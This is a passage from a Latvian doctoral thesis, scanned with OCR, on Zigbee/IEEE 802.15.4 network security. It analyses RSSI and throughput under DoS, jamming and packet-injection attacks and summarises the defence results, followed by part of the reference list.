nodrosina ievérojami precizaku datu pielagosanu, kas atspogulojas to augstakajas R? vertibas.
Jamming uzbrukuma laika caurlaidspgja lielakoties saglabajas stabila, ta¢u uzbrukuma beigas
notiek strauj§ kritums signala slapeSanas dél, kas pilniba bloké sakaru kanalu. Zemakas
pakapes polinomi nespgj precizi modelét So dinamiku, savukart 5. pakapes polinoms un
hibridmodelis labak pielagojas caurlaidspgjas izmainam, precizak atspogulojot gan stabilitati,
gan straujo kritumu. Sie rezultati parada, ka, lai analizétu jamming ietekmi, nepieciesami
modeli ar augstaku pielagosanas sp&ju, kas var efektivi aprakstit tikla degradacijas trajektoriju

[141-143].
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Originala RSSI analize
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5.7. att. Signala stipruma identifikatora analize. Originalie dati: a) pake$u siitiSanas bieZums —
0,25 sekundes; b) pakesu suitisanas biezums — 0,5 ar sekundes ar polinomu un

hibridmodeliem pakeSu injekcijas uzbrukuma laika.
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Modificéta RSSI analize (Nakagami)
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5.8. att. Signala stipruma identifikatora analize. Modificétie dati: a) pakesu sttiSanas biezums
— 0,25 sekundes; b) pakesu stitisanas biezums — 0,5 ar sekundes ar polinomu un

hibridmodeliem pakesu injekcijas uzbrukuma laika.
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5.9. att. Signala stipruma identifikatora analize: a) originalie dati; b) modific&tie dati ar
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Modificéts RSSI (Jamming)
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5.10. att. Signala stipruma identifikatora analize: a) originalie dati; b) modificétie dati ar

polinomu un hibridmodeliem signala trauc€Sanas uzbrukuma laika.

5.9.-5.10. attelas grafikos redzamas bitiskas izmainas RSSI vértibas atkariba no
uzbrukuma veida, kas ietekme tikla stabilitati un datu parraides kvalitati. Injekcijas uzbrukuma
laika signala stiprums parada raksturigus svarstibu modelus, kas liecina par argju pakesu
ievadiSanu tikla. Salidzinot realas un modificetas RSSI vertibas, balstoties Nakagami
model€Sana, var secinat, ka 5. pakapes polinoms un hibridmodelis nodroSina precizaku datu
interpolaciju, savukart zemakas pakapes modeli neefektivi atspogulo faktisko signala stipruma
dinamiku. DoS uzbrukuma laika RSSI vértibas saglabajas salidzinos$i stabilas ar nelielam
svarstibam visa meérfjumu perioda. Tom&r uzbrukuma sakuma un beigas veérojami peksni
1&cieni, kas atspogulo tikla traucgjumus. Zemakas pakapes polinomi (2. un 3. pakape) slikti
pielagojas dinamikai, savukart 5. pakapes polinoms un hibridmodelis precizak raksturo kopgjo
tendenci, nodro$inot augstaku atbilstibu faktiskajiem datiem. Jamming uzbrukums izraisa
gadijuma RSSI veértibas samazinas Iidz kritiskam ITmenim, kas butiski ierobezo sakaru iespgjas.
Zemakas pakapes polinomi nespgj efektivi modelét $o procesu, savukart 5. pakapes polinoms
un hibridmodelis nodro§ina precizaku tendences atveidi, kas apstiprina, ka sakaru signala
trauce€Sanas efekts pakapeniski degrade signala kvalitati.

Ir vérts minét, ka tikla atjaunoSanas procesa modeleSanai p&c uzbrukumiem tika izmantota
polinoma un hibrida aproksimacijas, jo eksperimentalie dati paradija straujas un nelinearas
izmainas RSSI un caurlaidspgjas vertibas, kad tendences aprakstisanai nav iesp&ams izmantot
citas variacijas, pieméram, Veibula (anglu val. Weibull) sadalfjumu, kas tiek plasi lietots

datortikla sistemas atjaunoSanas procesa [144].
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Veibula modelis labi apraksta pakapenisku sistému atjauno$anas modelus, pieméram,
datortehnikas komponensu nolietojumam un programmatiiras klidu labosanas model&sanai,
kur atjaunoSanas notiek pakapeniski. P&c uzbrukumiem tikla atjaunoSanas ir dinamiska,
demonstrgjot haotiskas izmainas atkariba no pretpasakuma mehanismiem. Polinoma un
hibridpieejas precizak interpol&ja realos datus, atspogulojot straujas izmainas uzbrukuma laika

un stabilizaciju [142-144].

Secinajumi

Saja nodala analizétas tikla veiktsp&jas tendences, kas atspogulo dazadu uzbrukumu
ietekmi uz signala stiprumu (RSSI) un tikla caurlaidsp&ju. Tika apskatiti DoS uzbrukumi,
jamming un paketes injekciju scenariji, lai izprastu, ka Sie apdraudéjumi ietekmé 0T tiklu
stabilitati un darbibas efektivitati.

Lai kvantitativi novertétu uzbrukumu ietekmi, tika izmantotas dazadas modele$anas
pieejas, tostarp kvadratiska, kubiska un 5. pakapes polinomu regresija, ka ar7 hibridmodeli, kas
apvieno polinomu un splaina funkcijas. Analize paradija, ka augstakas pakapes polinomi un
hibridmodelis precizak raksturo tikla dinamiku, tomér pastav izaicinajums atrast Iidzsvaru
starp datu pielagoSanu un parak lielu gluduma nodrosinasanu [141].

Papildus tika izskatiti iesp&jamie 10T tiklu aizsardzibas mehanismi, kas balstas novirzu
detektesana RSSI un caurlaidsp&jas datos. Sada pieeja var biit automatizétu uzbrukumu
identificé$anas un dinamiskas aizsardzibas strat€giju pamata, kas varétu uzlabot 10T tiklu
drosibu pret DoS, jamming un paketes injekcijas uzbrukumiem.

Nodalas nosléguma analizéti tikla uzbrukumu raksturlielumi un to ietekme uz tikla
darbibu, ka arT apspriesti iesp&jamie aizsardzibas mehanismi, kas nakotné€ var bt efektivakas

uzbrukumu detekt€Sanas un noverSanas metozu pamata.
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KOPSAVILKUMS

Promocijas darba izstrades gaita veikts visaptvero$s pétijums par bezvadu sakaru tiklu
drosibu, koncentr&joties uz izveidotu hibridtiklu IEEE 802.11 un IEEE 802.15.4 standartu un
ievainojamibam ar iesp&jamo aizsardzibas mehanismu ievieSanu, kas spetu nodroSinat tikla
stabilitati un droS§ibu dazadu kiberdraudu apstaklos. Darba mérkis bija izstradat un novertet
efektivus aizsardzibas risinajumus pret uzbrukumiem IEEE 802.15.4 bezvadu tikla, tostarp
DoS, signala trauc€Sanas un pakesu injekcijam, ka art izvertet tikla caurlaidsp&ju, signala
stipruma identifikatora un tikla atjaunoSanas sp&jas p&c uzbrukumiem.

Pirmaja nodala analizeéti IEEE 802.11 un IEEE 802.15.4 standarti, TpaSi uzsverot to
lietojumu loT tiklos. IEEE 802.15.4 standarts, kas tiek plasi lietots Zigbee tiklos, izstradats
zemas caurlaidspgjas komunikacijam un mazas joslas platuma sakariem, padarot to par
popularu izveli 0T iericeém. Energoefektiva arhitektura lauj nodro$inat ilgu iericu darbibas
laiku, tacu §im ieguvumam ir ari otra puse — zemas droSibas iesp€jas un lielaka ievainojamiba
pret uzbrukumiem, pieméram, DoS un trauc&Sanas uzbrukumiem. Nodala apskatitas arT IEEE
802.11 standarta dro§ibas ievainojamibas, pieméram, WPA2 un WPAS Sifrésanas uzbrukumi,
kas ve&l aizvien rada butiskus draudus Wi-Fi tikliem. Galvenie secinajumi — IEEE 802.15.4 tikli
ir Tpasi jutigi pret dazada uzbrukuma veidiem ierobezota resursu patérina un 2,4 GHz
diapazona frekvencu joslas izmantosanas dél, savukart IEEE 802.11 standarti, lai arT nodrosina
augstaku datu parraides atrumu, nav pasargati no dro§ibas ievainojamibam.

Otraja nodala padzilinati analiz&ti dazadi tikla uzbrukumu veidi un to ietekme uz IEEE
802.11 un IEEE 802.15.4 tiklu veiktsp&ju. Nodala apskatiti galvenie uzbrukumu veidi, kas
ietekm@ bezvadu tiklu darbibu, tostarp D0S uzbrukumi un pakesu injekcijas, ka arT analizéts,
ka Sie uzbrukumi ietekmg tikla caurlaidsp&ju un kopgjo tikla stabilitati. Nodala apskatiti art
aizsardzibas mehanismi, kas spgj lietot IEEE 802.11 un IEEE 802.15.4 tiklus, lai sp&tu
aizsargat tiklu no dazadiem uzbrukumiem. Secinajumos definéts, kadi uzbrukuma veidi tiks
lietoti eksperimentalaja tikla un to pamatdarbibas un ietekme.

TreSaja nodala detaliz&ti aprakstita izstradata eksperimentala vide un izmantotas
tehnologijas, kas tika lietotas tikla signala stipruma identifikatora (RSSI), tikla caurlaidspg&jas
un drosibas analizei. Eksperimentos tika izmantotas vairakas ierices, tostarp RZUSBstick
uzbrukuma veikSanas ierice un CC2531 pakesu uzrauga modulis IEEE 802.15.4 tikla, ka ar1
HackRF One universalais SDR riks pretpasakuma realizacijai. Nodala ipasa uzmaniba
pievérsta tikla caurlaidspé&jas aprékina$anai, izmantojot empirisku modeli, kas balstits Senona

teoréma. ST pieeja lava novertét maksimalo teordtisko caurlaidsp&ju, nemot veéra idealus
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apstaklus pakeSu parraidei. Aprekini paradija, ka teoretiska caurlaidsp&ja sasniedz Iidz 250
kbit/s, tacu, nemot vera realos ierobezojumus, praktiski sasniegta caurlaidspgja bija aptuveni
120 kbit/s. Eksperimentu laika tika izmantots arT Nakagami sadalijums, lai model&étu signala
kvalitates izmainas tikla dazados slodzes apstaklos. Fiksétie parametri (m = 0,8, ® = 0,3)
nodro§inaja precizu signala stipruma analizi un ta ietekmi uz caurlaidspgju, laujot labak izprast
tikla uzvedibu traucjumu apstaklos. Eksperimentalie rezultati paradija, ka DoS uzbrukumi
ievérojami pazemina tikla caurlaidsp&ju, radot parslogojumu un padarot tiklu nepieejamu
legalam aktivitatém, un aizsardzibas efektivitate IEEE 802.15.4 tikla sasniedza tikai 47,75 %,
atklajot realas vides sarezgitibu un ar&jo spécigu faktoru ietekmi, kas padara specigaku DoS
uzbrukuma darbibu, bet nevar apgalvot, ka uzbrukums pilniba ietekmg tiklu. Sakaru signala
trauc€Sanas uzbrukums radija signala traucgjumus, kas butiski ietekmgja signala kvalitati un
tikla caurlaidsp&ju, samazinot t0 no sakotn&jam vértibam lidz 50,08 kbit/s. Aizsardzibas
mehanismu efektivitate $aja gadijuma sasniedza 60,11 %, kas ir batiski labak neka DoS
uzbrukumos. Savukart pakesu injekcijas uzbrukumi tika identificéti un blok@ti ar vislielako
precizitati — 94,83 % realaja vide, izmantojot uzlabotas pakeSu filtréSanas un pakeSu
autentifikacijas metodes.

Ceturtaja nodala aprakstita veikto eksperimentu rezultatu analize, salidzinot realaja vidé
Python simulacijas vide iegiitos rezultatus. Analize paradija, ka simulacijas vidé aizsardzibas
mehanismi darbojas ievérojami efektivak neka realaja vide, kur tos ietekmée argjie traucgjumi,
aparatiras ierobezojumi un citi vides faktori. Tika konstatéts, ka realaja vidé DoS un
trauc@Sanas uzbrukumi ievérojami ietekmé tikla caurlaidsp&ju, bet efektivi pretpasakumi,
pieméram, dinamiska frekven¢u maina un pakesu filtréSana, sp&j samazinat uzbrukumu ietekmi
par 40-60 %. Simulacija DoS uzbrukumu aizsardzibas efektivitate sasniedza 93,33 %, signala
trauc@Sanas uzbrukuma aizsardzibas efektivitate — 78,05 %, savukart pakeSu injekcija
simulacijas videé ir sliktaka neka realaja tikla (85,14 %).

Piektaja nodala novertéti IEEE 802.15.4 papildu veiktsp€jas un aizsardzibas pasakumi
izcilai tikla darbibai, pieméram, mikrosegmentacija, QoS un ar VLAN izmanto$ana IEEE
802.11 tiklos, kas netieSi parklajas, stradajot ar 0T tikliem. Nodala veiksmigi izmantoti
polinomu regresijas modeli tikla darbibas atjaunoSanas prognoz€$anai p&c uzbrukumiem.
Pieméram, p&c DoS uzbrukuma tikla darbsp&ja tika atjaunota Iidz 85 % no sakotngjas
caurlaidspgjas 30 sekunzu laika, izmantojot regresijas prognozesanu. Tas apliecinaja polinomu
regresijas modelu efektivitati tikla atjaunoSanas prognoz€Sana un uzlaboSana. Polinomu
regresijas prognozes palidz&ja konstatét atraku dinamikas atjauninaSanu tikla darbibu péc
uzbrukumiem, precizi prognozgjot atkopsanas laiku (ar 96 % precizitati). Sie mehanismi
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ievérojami uzlaboja tikla drosibu un veiktsp&ju, laujot efektivi reagét uz dazadiem uzbrukuma
scenarijiem.

Veiktie pétijumi skaidri paradija, ka IEEE 802.15.4 tikli ir paklauti uzbrukumiem, tomér
efektivu aizsardzibas mehanismu ievieSana spgj ieveérojami uzlabot tikla droSibu un stabilitati.
P&ttjuma laika noskaidrots, ka DoS un signala trauc€Sanas uzbrukumi ir visgriitak noverojami,
jo tie ietekmé tikla darbibu jau fiziska slani, radot butiskus traucg&jumus signala parraidé un
tikla darbspgja. Savukart pakeSu injekcijas uzbrukumi tika identificeti ka visefektivak
blok&jami, pateicoties uzlabotam pakeSu filtréSanas mehanismiem, kas lava noverst
nelikumigu datu plasmu.

Lai modelétu RSSI izmainas dazados apstaklos, nodroSinot precizu signala kvalitates
analizi un palidzot novertét tikla darbibu uzbrukumu laika, veiksmigi tika izmantots Nakagami
sadalijums. Turklat izstradata simulaciju vide sniedza drosu platformu dazadu uzbrukumu
scenariju un aizsardzibas mehanismu test€$anai pirms to ievieSanas realaja vide, kas lava
optimizét aizsardzibas stratégijas un novertét to efektivitati.

Praktiska nozime $im pé&tljumam ir ieverojama, jo izstradatos aizsardzibas mehanismus
var lietot dazados 10T un Zigbee tiklos, uzlabojot drosibu un stabilitati. Tadi risinajumi ir
piemérojami gan viedajam majam, gan industrialajiem tikliem, kur nepiecieSama augsta
dro§ibas pakape, lai aizsargatu datus un nodro$inatu stabilu tikla darbibu.

Nakotn€ petijumus bitu lietderigi turpinat, paplasinot izp&ti vairakos virzienos. Viens no
tiem ir ma$inmaciSanas algoritmu integracija, lai uzlabotu uzbrukumu prognozgSanas un
noteik$anas spgjas, kas lautu proaktivi noverst potencialos draudus, pirms tie ietekmé tikla
darbibu. Biitu vertigi arT paplasSinat eksperimentus lielaka méroga tiklos, kuros darbojas vairak
neka 100 10T ierices, lai novertétu izstradato aizsardzibas mehanismu efektivitati lielakos un
sarezgitakos tiklos. Turklat ir svarigi testét aizsardzibas mehanismus hibridtiklos, kur
vienlaikus darbojas IEEE 802.11 un IEEE 802.15.4 standarti, jo $adi tikli klust arvien

izplatitaki musdienu 10T infrastruktira.

Salidzinosa analize ar tradicionalajiem tikla drosibas risinajumiem

Salidzinot promocijas darba rezultatus ar populariem tikla droSibas avotiem, var secinat,
ka autors piedava jaunu pieeju Zigbee tiklu drosibai. Atskiriba no literatiiras avota, kura
galvena uzmaniba tiek pieversta vispargjai tikla drosibai, autentifikacijas, piekluves kontrolei

un kriptografisko algoritmu dro$ibai, promocijas darba p&tijums ir orient&ts uz specifisku IEEE

129



802.15.4 un IEEE 802.11 hibridtiklu drosibas analizi, analizgjot redlus uzbrukumus un
pretpasakumu veidus Zigbee tiklos [145-146].

Promocijas darba galvenais jaunieguvums ir eksperimentali parbaudita pieeja pakeSu
injekcijas, DoS un signala traucg$anas uzbrukumiem Zigbee tikla, kas lidz §im nav detaliz&ti
analiz&ti. Petljuma laika praktiski testeétas dazadas uzbrukumu metodes un aizsardzibas
strat€gijas, pieméram, selektiva pake$u blokésana, adaptiva trauc&sana péc pakesu galveném
vai citiem parametriem un tikla atjaunoS$anas modelés$ana. Turklat tika veikta eksperimentala
analize, kas ietver realas ierices un programmatiiru, ka arT matematiska model&sana, kas lauj

precizak prognozgt tikla darbibu péc uzbrukumiem.
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PIELIKUMU SARAKSTS

1. pielikums. Promocijas darba izpildes programma uzbrukuma un pretpasakumu iericém
2. pielikums. RSSI un caurlaidsp&jas mérfjumu rezultati dazados uzbrukuma un aizsardzibas

scenarijos

131



IZMANTOTAS LITERATURAS SARAKSTS

[1] Neuron Team. “KNX Protocol: The Basics and Its Possibilities with IoT”. Emgx.com.
https://www.emgx.com/en/blog/knx-protocol (pieejams Nov. 10, 2023).

[2] Tarig W., Mustafa A., Rasool Z., Haseeb S.M., Mubarak Ali S., Mustafa A., Khan S.,
Warsi S.I.,, “Building Management System for IQRA University”, Asian Journal Of
Engineering, Sciences & Technology, Vol. 2, Issue 2. Sept. 2012, pp. 106-109.

[3] TDT BMS. “How a battery management system (BMS) works and its role in different
sectors.”  https://www.tdtbms.com/ru/news/-how-a-battery-management-system-bms-works-
and-its-importance-across-industries.html (pieejams Aug. 8, 2024).

[4] Malwarebytes. “Backdoor computing attacks.” Malwarebytes.com.

https://www.malwarebytes.com/backdoor

[5] PIRIT. “Information Security.” Pirit.biz. https:/pirit.biz/reshenija/informacionnaja-
bezopasnost (pieejams Apr. 12, 2019)
[6] Jouini M., Arfa Rabai L.B., Aissa A.B., “Classification of Security Threats in Information
Systems”, 5 International Conference on Ambient Systems, Networks and Technologies
(ANT-2014), Jan. 2014, pp. 498-496.
[7] Stackscale. “Which are the most popular web servers?” Stackscale.com.

https://www.stackscale.com/blog/top-web-servers/ (pieejams Sept. 5, 2022).

[8] SAP. “What is cybersecurity?” SAP.com. https://www.sap.com/central-asia-

caucasus/products/financial-management/what-is-cybersecurity.html

[9] Security Vision. “Kiberbezpeka, kibernoturiba un kiberapmacibas: ko tas nozim&?”
Securityvision.com.https://www.securityvision.ru/blog/razbor-terminologii-
kiberbezopasnost-kiberustoychivost-kiberucheniya-chto-eto/ (pieejams Nov. 30, 2021)

[10] 1CBit. “Kas ir kiberdro§iba?” 1CBit.ru. https:/www.lcbit.ru/blog/chto-takoe-

kiberbezopasnost/ (pieejams Aug. 31, 2022).

[11] Habr. “Informacijas droSiba: ievads un galvenie aspekti.” Habr.com.
https://habr.com/ru/companies/otus/articles/549550 (pieejams Mar. 29, 2021)

[12] Al-Fugaha, A., Guizani, M., Mohammadi, M., Aledhari, M., Ayyash, M. “Internet of

Things: A General Overview between Architectures, Protocols and Applications,” IEEE
Communications Surveys & Tutorials, Vol. 17, No. 4, pp. 2347-2376, Oct. 2015, DOI:
10.1109/COMST.2015.2444095.

132


https://www.malwarebytes.com/backdoor
https://www.stackscale.com/blog/top-web-servers/
https://www.sap.com/central-asia-caucasus/products/financial-management/what-is-cybersecurity.html
https://www.sap.com/central-asia-caucasus/products/financial-management/what-is-cybersecurity.html
https://www.1cbit.ru/blog/chto-takoe-kiberbezopasnost/
https://www.1cbit.ru/blog/chto-takoe-kiberbezopasnost/
https://habr.com/ru/companies/otus/articles/549550

[13] Aleksandrovs-Moisejs, D., Ipatovs, A., Grabs, E., Rjazanovs, D., Sinuks, I. “Arduino-
based temperature sensor organization and design,” 2023 Photonics & Electromagnetics
Research Symposium (PIERS), Aug. 2023, DOI: 10.1109/PIERS59004.2023.10221361

[14] CVE. “CVE-2022-24706 Record Information” CVE.org.
https://www.cve.org/CVERecord?id=CVE-2022-24706 (pieejams Apr. 26, 2022)

[15] DDoS-Guard. “Plans reag€Sanai uz kiberdro§ibas incidentiem.” DDoS-Guard.ru.

https://ddos-quard.ru/blog/plan-reagirovaniya-na-incidenty-kiberbezopasnosti (pieejams Nov.
1, 2022).
[16] Segal E., “The SOC technology stack: XDR, SIEM, WAF and more.” DZone.com.

https://dzone.com/articles/the-soc-technology-stack-xdr-siem-waf-and-more (pieejams Jul.
27,2021)

[17] Rogue Agent. “How to Wire Your House With Cat-5 (or 6) For Ethernet Network.”
Instructables.com. https://www.instructables.com/How-to-Wire-Y our-House-With-Cat-5-or-
6-For-Ether/

[18] Lovati S. “Wireless technologies for smart homes.” ElectronicProducts.com.

https://www.electronicproducts.com/wireless-technologies-for-smart-homes/ (pieejams Mar.
5, 2024).

[19] Ancans A., “Autotransporta bezvadu sakaru tiklu veiktsp&jas p€tiSana un tas
paaugstinasana”, RTU Izdevnieciba, 2021., 175 lpp.

[20] Saliga S.V., “An introduction to IEEE 802.11 wireless LANs”, IEEE Xplore, 2000, 10 p.
[21] Sharma, P., Singh G., “Comparison of Wi-Fi IEEE 802.11 Standards Relating to Media
Access Control Protocols”, International Journal of Computer Science and Information
Security, 2016, 7 pages.

[22] Kurnaz C., Engiz B.K., Kose U., “Investigating the effect of number of users on signal
strength level and throughput for Wi-Fi system”, IEEE, 2017, 4 pages.

[23] Sendra S., Garcia M., Turro C., Lloret J., “WLAN IEEE 802.11 a/b/g/n indoor coverage
and interference performance study”, International Journal on Advances in Networks and
Services, 2011, Vol. 4, No. 1, pp. 209-218.

[24] Song X., Wu M., Jermaine C., Ranka S., “Using support vector machines for anomalous
change detection”, Proceedings of the 3rd IEEE International Conference on Data Mining
(ICDM 2003), 2003, pp. 626-629.

[25] Naik G., Park J.-M., Ashdown J., Lehr W., “Next Generation Wi-Fi and 5G NR-U in the
6 GHz Bands: Opportunities and Challenges”, IEEE Access PP, Aug. 2020, pp. 30.

133


https://www.cve.org/CVERecord?id=CVE-2022-24706
https://ddos-guard.ru/blog/plan-reagirovaniya-na-incidenty-kiberbezopasnosti
https://dzone.com/articles/the-soc-technology-stack-xdr-siem-waf-and-more
https://www.instructables.com/How-to-Wire-Your-House-With-Cat-5-or-6-For-Ether/
https://www.instructables.com/How-to-Wire-Your-House-With-Cat-5-or-6-For-Ether/
https://www.electronicproducts.com/wireless-technologies-for-smart-homes/

[26] Lopez-Perez D., Garcia-Rodriguez A., Galati-Giordano L., Kasslin M., Doppler K.,
“|EEE 802.11be Extremely High Throughput: The Next Generation of Wi-Fi Technology
Beyond 802.11ax”, IEEE Communications Magazine, Vol. 59, No. 9, 2021, pp. 113-1109.
[27] IEEE SA. “The Evolution of Wi-Fi Technology and Standards.” Standards.IEEE.org.
https://standards.ieee.org/beyond-standards/the-evolution-of-wi-fi-technology-and-standards/
(pieejams May. 16, 2023).

[28] Banerjee, S., Sharan, A. “WiFi-LSTMs: A deep learning approach for WiFi based human

activity recognition”, IEEE Access, 2021, Vol. 9.
[29] GeeksforGeeks. “IEEE  802.11 MAC  Frame.”  GeeksforGeeks.com.
https://www.geeksforgeeks.org/ieee-802-11-mac-frame/ (pieejams Feb. 23, 2025).

[30] B. Toulas. “Bleeping Computer Chinese cyberspies use new SSH backdoor in network
device hacks.” Bleepingcomputer.com.
https://www.bleepingcomputer.com/news/security/chinese-cyberspies-use-new-ssh-
backdoor-in-network-device-hacks/ (pieejams Feb. 4, 2025).

[31]1R. A. Shaikh. “Backdoor uncovered in China-made patient monitors — Contec CMS8000
raises questions about healthcare device security.” Tomhardware.com.
https://www.tomshardware.com/tech-industry/cyber-security/backdoor-uncovered-in-china-
made-patient-monitors-contec-cms8000-raises-questions-about-healthcare-device-security
(pieejams Feb. 1, 2025)

[32] Yiming Li, Yong Jiang, Zhifeng Li, Shu-Tao Xia, “Backdoor Learning: A Survey”, 2020,
p. 17.

[33] Tektronix. “Wi-Fi Overview: 802.11 Physical Layer and Transmitter Measurements
Tektronix”  Tek.com.  https://www.tek.com/en/documents/primer/wi-fi-overview-80211-
physical-layer-and-transmitter-measurements (pieejams 2017).

[34] Valadas R., Tavares A. R., Duarte A.M.deO., Moreira A., Lomba C., “The infrared
physical layer of the IEEE 802.11 Standard for wireless local area networks”, IEEE
Communications Magazine, Jan. 1999, pp. 107-112.

[35] IEEE Standards Association. “IEEE 802.11-2020: Standard for Wireless LAN Medium
Access Control (MAC) and Physical Layer (PHY) Specifications”, IEEE Xplore, Feb. 26 2021,
DOI: 10.1109/IEEESTD.2021.9363693

[36] YuQ., Zhuang Y., Ma L., “Dynamic contention window adjustment scheme for improving
throughput and fairness in IEEE 802.11 wireless LANs”, Global Communications Conference

(GLOBECOM), Apr. 22, 2013.

134


https://standards.ieee.org/beyond-standards/the-evolution-of-wi-fi-technology-and-standards/
https://www.geeksforgeeks.org/ieee-802-11-mac-frame/

[37] University of Washington. “IEEE 802.11 WLAN: Distributed Coordination

Function (DCF), https://wp.ece.uw.edu/wp
content/uploads/sites/36/2019/04/Experiment 2 802 11 DCF.pdf

[38] Selinis 1., “Performance Study of 802.11n WLAN and MAC Enhancements in ns-3”,
Thesis for: MSc, Sept. 2014, pp. 62.

[39] Wi-Fi Alliance. “Wi-Fi Alliance WPA3 Specification v3.5” https://www.wi-
fi.org/system/files/WPA3%20Specification%20v3.5.pdf

[40] MaxLinear. “Quality of Service (QoS) Mechanisms in Wi-Fi” MaxLinear.com

https://www.maxlinear.com/news/quality-of-service-%28q0s%29-mechanisms-in-wi-fi
(pieejams May 24, 2024).

[41] “IEEE 802.11. Chapter 11: Wireless LAN Technology”
https://www.cs.uoi.gr/~epap/L05/downloads/It/IEEE-802.11.pdf.

[42] Pétersons E., Umanskis A., “Bezvadu tiklu tehnologija uzdevumos un risinajumos”,
Macibu lidzeklis, RTU lzdevnieciba, 2015, pp. 132.
[43] Intel. “Understanding IEEE* 802.11 Authentication and Association.” Intel.com.

https://www.intel.com/content/www/us/en/support/articles/000006508/wireless/legacy-intel-

wireless-products.html (pieejams Jun. 15, 2021).
[44] NetSpot. “Wireless Security Protocols : WEP, WPA, WPA2, and WPA3.”

Netspotapp.com. https://www.netspotapp.com/blog/wifi-security/wifi-encryption-and-

security.html

[45] HFCL. “WPA2 vs WPA3: Key Difference in Wi-Fi Security Protocols.” HFCL.com.
https://io.hfcl.com/blog/wpa2-vs-wpa3/ (pieejams May. 7, 2024)

[46] Cisco Meraki. “WPA3 Encryption and Configuration Guide.” Meraki.com.
https://documentation.meraki.com/MR/Wi-
Fi_Basics_and_Best_PracticessWPA3_Encryption_and_Configuration_Guide (pieejams Apr.
15, 2025)

[47] Kolias, C., Kambourakis, G., Stavrou, A., Voas, J., “DDoS in the IoT: Mirai and Other
Botnets” ResearchGate, Jan 2017, pp. 6, DOI: 10.1109/MC.2017.201

[48] Goodin D., “A Brand-New Botnet Is Delivering Record-Size DDoS Attacks.” Wired.com.
https://www.wired.com/story/eleven11bot-botnet-record-size-ddos-attacks/ (pieejams Mar 7,
2025).

[49] Radware. “Internet of Threats: IoT Botnets and the Economics of DDoS Protection.”

Radware.com. https://www.radware.com/security/ddos-threats-attacks/ddos-attack-types/iot-

botnets-and-economics/ (pieejams Apr. 6, 2017).

135


https://wp.ece.uw.edu/wp%20content/uploads/sites/36/2019/04/Experiment_2_802_11_DCF.pdf
https://wp.ece.uw.edu/wp%20content/uploads/sites/36/2019/04/Experiment_2_802_11_DCF.pdf
https://www.wi-fi.org/system/files/WPA3%20Specification%20v3.5.pdf
https://www.wi-fi.org/system/files/WPA3%20Specification%20v3.5.pdf
https://www.maxlinear.com/news/quality-of-service-%28qos%29-mechanisms-in-wi-fi
https://www.cs.uoi.gr/~epap/L05/downloads/lt/IEEE-802.11.pdf
https://www.intel.com/content/www/us/en/support/articles/000006508/wireless/legacy-intel-wireless-products.html
https://www.intel.com/content/www/us/en/support/articles/000006508/wireless/legacy-intel-wireless-products.html
https://www.wired.com/story/eleven11bot-botnet-record-size-ddos-attacks/
https://www.radware.com/security/ddos-threats-attacks/ddos-attack-types/iot-botnets-and-economics/
https://www.radware.com/security/ddos-threats-attacks/ddos-attack-types/iot-botnets-and-economics/

[50] Mackensen P., Staat P., Roth S., Sezgin A., Paar C., Moonsamy V., “Spatial-Domain
Wireless Jamming with Reconfigurable Intelligent Surfaces”, Feb. 21, 2024, pp. 17.

[51] Khan W.Z., Gharakheili H.H., Sivaraman V., “An Analysis of 10T Security Protocols and
Their Vulnerabilities”, MDPI Applied Sciences, 2022, VVol. 12, No. 3, pp. 1103.

[52] Hwang H., Jung G., Sohn K., Park S., “A study on MITM(man in the middle) vulnerability
in wireless network using 802.1X and EAP”, IEEE Xplore, Feb. 2008, DOLI:
10.1109/1C1SS.2008.10

[53] Telecommunication Standardization Sector of ITU, “Series Y: Global Information
Infrastracture, Internet Protocol Aspects and Next-Generation Networks, Next Generation
Network — Frameworks and Functional Architecture Models, Overview of the Internet of
Things”, 2012.

[54] Bhuyan A., “Key Components of an Effective 10T Architecture: A Comprehensive Guide

to Building Scalable Systems” Medium.com. https://aditya-sunjava.medium.com/key-

components-of-an-effective-iot-architecture-a-comprehensive-guide-to-building-scalable-
5507¢f347935 (pieejams Feb. 5, 2025).

[55] V. Shashkina. “IoT solution architecture: an overview of components & design tips.”

Itrexgroup.com. https://itrexgroup.com/blog/iot-architecture-components-design-tips/
(pieejams Aug. 31, 2022).
[56] NetworkLessons. “loT  Standards and Protocols.” NetworkLessons.com.

https://networklessons.com/cisco/evolving-technologies/iot-standards-and-protocols

[57] AVSystem. “IoT Protocols & Standards Guide - Protocols of the Internet of Things.”
Avsystem.com. https://avsystem.com/blog/iot/iot-protocols-and-standards (pieejams Jul. 6,
2024).

[58] B.K.Sethi, “Your complete guide to [oT protocols and standards in 2022 for support secure
data exchange.” Kellton.com. https://www kellton.com/kellton-tech-blog/your-complete-
guide-to-iot-protocols-and-Standards-2022 (pieejams Mar. 15, 2022).

[59] Sun Y., Song H., Jara A.J., “Internet of Things and Big Data Analytics”, Journal of Big
Data, Vol. 6, Article 32, 2019.

[60] Allerin. “Six  Types of IoT  Network  Protocols”  Allerin.com
https://www.allerin.com/blog/six-types-of-iot-network-protocols

[61] Hacking Land. “KillerBee - IEEE 802.15.4/ZigBee Security Research Toolkit”
Hacking.land. https://www.hacking.land/2018/07/killerbee-ieee-802154zighee-
security.html?m=1 (pieejams Jul. 2018).

136


https://aditya-sunjava.medium.com/key-components-of-an-effective-iot-architecture-a-comprehensive-guide-to-building-scalable-5507cf347935
https://aditya-sunjava.medium.com/key-components-of-an-effective-iot-architecture-a-comprehensive-guide-to-building-scalable-5507cf347935
https://aditya-sunjava.medium.com/key-components-of-an-effective-iot-architecture-a-comprehensive-guide-to-building-scalable-5507cf347935
https://networklessons.com/cisco/evolving-technologies/iot-standards-and-protocols

[62] River Loop Security. “KillerBee Project Overview” RiverLoopSecurity.com.
https://riverloopsecurity.com/projects/killerbee/

[63] Radiolocman. “Evaluation Kit Atmel RZRAVEN”  Radiolocman.com.
https://www.radiolocman.com/op/device.htm|?di=65682.

[64] “AVR2016: RZRaven Hardware User’s Guide”, Microchip Documentation,

https://manualzz.com/doc/19793759/avr2016--rzraven-hardware-user-s-guide-8-bit-
microcontrol

[65] Zighee2MQTT. “Sniff Zigbee traffic.” Zighee2MQTT  Documentation.
https://www.zighee2magtt.io/advanced/zigbee/04_sniff zigbee traffic.html.

[66] NanoMQ Team. “DDS and MQTT: Basics, Challenges and Integration Benefits”

EMQX.com. https://www.emgx.com/en/blog/navigating-dds-basics-limitations-and-

integration-with-matt. (pieejams Aug.15, 2024).

[67] Kamal R. “What is Matter Protocol and How Does it Work?” Iotcentral.io.
https://www.iotcentral.io/blog-all/a-hrefwhat-is-matter-protocol-and-how-does-it-worka.
[68] Kale V.V., Deshmukh A.R., “Survey Paper On Z- Wave Technology”, International

